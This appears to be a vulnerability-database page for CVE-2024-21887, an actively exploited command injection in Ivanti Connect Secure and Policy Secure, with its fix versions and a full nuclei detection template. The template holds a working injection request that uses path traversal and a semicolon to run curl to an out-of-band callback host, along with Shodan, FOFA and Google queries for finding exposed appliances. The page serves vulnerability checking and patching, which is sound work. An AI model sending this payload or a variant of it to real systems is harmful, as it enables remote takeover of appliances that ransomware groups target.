Browse / CVEs / CVE-2024-21887
CVE-2024-21887· ivanti / connect secure· CWE-77
Ivanti Connect Secure (9.x, 22.x) and Ivanti Policy Secure (9.x, 22.x) - Command Injection
Exploited in the wild. Listed by CISA on 2024-01-10; known to be used by ransomware.
A command injection vulnerability in web components of Ivanti Connect Secure (9.x, 22.x) and Ivanti Policy Secure (9.x, 22.x) allows an authenticated administrator to send specially crafted requests and execute arbitrary commands on the appliance.
Impact
Authenticated administrators can execute arbitrary OS commands on the Ivanti appliance, leading to complete system compromise.
Fix
Update Ivanti Connect Secure and Policy Secure to versions 9.1R14.4, 9.1R17.2, 9.1R18.3, 22.4R2.2, 22.5R1.1 or later.
How to confirm it
Send: GET /api/v1/totp/user-backup-code/../../license/keys-status/%3bcurl%20{{interactsh-url}}
Positive when: contains in interactsh_protocol "http" AND contains in header "application/json" AND contains "\"result\":" and "\"message\":"Run it with nuclei: nuclei -id CVE-2024-21887 -u <target>. This check is not marked as verified by its authors.
The full check
id: CVE-2024-21887
info:
name: Ivanti Connect Secure (9.x, 22.x) and Ivanti Policy Secure (9.x, 22.x) - Command Injection
author: pdresearch,parthmalhotra,iamnoooob
severity: critical
description: A command injection vulnerability in web components of Ivanti Connect Secure (9.x, 22.x) and Ivanti Policy Secure (9.x, 22.x) allows an authenticated administrator to send specially crafted requests and execute arbitrary commands on the appliance.
impact: |
Authenticated administrators can execute arbitrary OS commands on the Ivanti appliance, leading to complete system compromise.
remediation: |
Update Ivanti Connect Secure and Policy Secure to versions 9.1R14.4, 9.1R17.2, 9.1R18.3, 22.4R2.2, 22.5R1.1 or later.
reference:
- https://forums.ivanti.com/s/article/CVE-2023-46805-Authentication-Bypass-CVE-2024-21887-Command-Injection-for-Ivanti-Connect-Secure-and-Ivanti-Policy-Secure-Gateways?language=en_US
- http://packetstormsecurity.com/files/176668/Ivanti-Connect-Secure-Unauthenticated-Remote-Code-Execution.html
- https://github.com/farukokutan/Threat-Intelligence-Research-Reports
- https://github.com/lions2012/Penetration_Testing_POC
- https://github.com/Chocapikk/CVE-2024-21887
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H
cvss-score: 9.1
cve-id: CVE-2024-21887
cwe-id: CWE-77
epss-score: 0.99999
epss-percentile: 1
cpe: cpe:2.3:a:ivanti:connect_secure:9.0:*:*:*:*:*:*:*
metadata:
max-request: 1
vendor: ivanti
product: connect_secure
shodan-query:
- "html:\"welcome.cgi?p=logo\""
- http.title:"ivanti connect secure"
- http.html:"welcome.cgi?p=logo"
fofa-query:
- body="welcome.cgi?p=logo"
- title="ivanti connect secure"
google-query: intitle:"ivanti connect secure"
tags: packetstorm,cve,cve2024,kev,rce,ivanti,vkev,vuln
http:
- raw:
- |
GET /api/v1/totp/user-backup-code/../../license/keys-status/%3bcurl%20{{interactsh-url}} HTTP/1.1
Host: {{Hostname}}
matchers-condition: and
matchers:
- type: word
part: interactsh_protocol
words:
- "http"
- type: word
part: header
words:
- 'application/json'
- type: word
part: body
words:
- '"result":'
- '"message":'
condition: andReferences
- https://forums.ivanti.com/s/article/CVE-2023-46805-Authentication-Bypass-CVE-2024-21887-Command-Injection-for-Ivanti-Connect-Secure-and-Ivanti-Policy-Secure-Gateways?language=en_US
- http://packetstormsecurity.com/files/176668/Ivanti-Connect-Secure-Unauthenticated-Remote-Code-Execution.html
- https://github.com/farukokutan/Threat-Intelligence-Research-Reports
- https://github.com/lions2012/Penetration_Testing_POC
- https://github.com/Chocapikk/CVE-2024-21887
Use this check only on systems you are authorised to test. Where the data comes from